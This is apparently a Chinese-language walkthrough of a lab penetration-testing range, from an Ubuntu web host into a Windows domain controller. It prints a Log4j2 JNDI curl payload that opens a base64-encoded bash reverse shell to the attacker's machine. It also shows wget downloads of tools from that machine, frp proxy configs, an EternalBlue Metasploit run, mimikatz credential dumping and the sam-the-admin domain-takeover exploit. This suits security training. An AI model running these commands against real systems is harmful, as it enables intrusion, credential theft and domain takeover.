0X01、环境搭建

主机 IP地址
kali 192.168.1.105 VPS
ubuntu 192.168.1.103(外网地址) / 10.0.1.6(内网地址) web服务器
windows 7 10.0.1.7 / 10.0.0.7(内网地址) 域内机器
windows 2012 10.0.0.12(内网地址) 域控制器DC

1、使用nmap对靶机进行全端口扫描

1
nmap -sV -A -T4 -p- 192.168.1.103

image-20221012144024291

2、发现靶机开放了38080和22端口,38080是web服务

image-20221012144219528

0X03、漏洞利用

一、log4j2漏洞利用

由于我这里burpsuite发包收不到shell,所以我利用curl命令代替burp发包进行漏洞利用

1、在kali中开启ldap服务

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.105

image-20221012150353026

2、利用下面的paylod进行反弹shell

1
curl 192.168.1.103:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1Lzc3NzcgMD4mMQ==}'

image-20221012145829666

3、查看发现该靶机是docker环境

1
cat /proc/1/cgroup

image-20221012150609269

4、在root目录下发现flag,并且给了我们一个账号密码,根据之前的信息收集发现其开放了22端口,猜测是ssh服务的账号密码

1
Congratulations, you got this: saul Saul123

image-20221012151208313

5、连接ssh

1
ssh saul@192.168.1.103

image-20221012153424055

6、查看网卡信息发现存在双网卡

1
ifconfig

image-20221012153600125

0X04、内网渗透

一、上传fscan到靶机

1、在kali利用python开启web服务

1
python -m http.server 80

image-20221012161639788

2、将fscan远程下载到靶机

1
wget http://192.168.1.105/fscan_amd64

image-20221012161507147

3、利用fscan扫描其他存活主机

1
2
chmod +x fscan_amd64
./fscan_amd64 -h 10.0.1.1/24

image-20221012162355778

二、通过扫描结果发现10.0.1.7为windows7系统,并且存在ms17-010漏洞

1、利用frp将流量代理出来

(1)、远程下载frpc到靶机

1
2
3
wget http://192.168.1.105/frp_0.44.0_linux_amd64/frpc
wget http://192.168.1.105/frp_0.44.0_linux_amd64/frpc.ini
wget http://192.168.1.105/frp_0.44.0_linux_amd64/frpc_full.ini

image-20221012163216498

2、启动frp服务端

1
./frps -c frps.ini 
1
2
3
4
5
6
7
8
9
10
11
frps配置
[common]
bind_addr = 0.0.0.0
bind_port = 8000
dashboard_addr = 0.0.0.0
dashboard_port = 7600
dashboard_user = root
dashboard_pwd = 123456
token = 1q2w3e
heartbeat_timeout = 90
max_pool_count = 5

image-20221012163715015

3、启动客户端

1
./frpc -c frpc.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
frpc配置
[common]
tls_enable = true
server_addr = 192.168.1.105
server_port = 8000
token = 1q2w3e
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[proxies]
remote_port = 6000
plugin = socks5
use_encryption = true
use_compression = true

image-20221012164306006

4、MSF设置代理

1
setg Proxies socks5:127.0.0.1:6000   

image-20221012164610418

5、ms17-010漏洞利用

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.1.7
run

image-20221012165044577

image-20221012165019582

6、在桌面拿到flag

image-20221012165142520

7、查看网卡信息发现存在域环境(redteam.lab)

1
ipconfig /all

image-20221012165232555

8、域内信息收集

1
net view /domain

image-20221012165359097

(1)、查看域管理员

1
net group "domain admins" /domain

image-20221012165435543

(2)、查看域用户

1
net user /domain

image-20221012165507601

(3)、查找域控

1
nltest /DClist:redteam

image-20221012165544318

9、通过ping命令查看域控IP,发现域控IP为10.0.0.12

image-20221012165657763

10、利用mimikatz抓取用户密码

1
2
load mimikatz
creds_all

image-20221012170629947

0X05、CVE-2021-42287/CVE-2021-42278

1
Python 漏洞利用脚本:https://github.com/WazeHell/sam-the-admin

前置条件:需要一个域用户

假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞创建一个机器用户,再把机器用户 saulGoodman的改成。然后利用去申请一个票据。再把的改为。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网

1、添加路由

1
run autoroute -s 10.0.0.7/24

image-20221012171007966

2、设置Socks5代理

1
2
use auxiliary/server/socks_proxy
run

image-20221012171405426

3、修改配置文件

1
vim /etc/proxychains4.conf

image-20221012170053226

3、执行python漏洞利用脚本

1
proxychains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

image-20221012171828513

4、拿到最终的flag

image-20221012171851521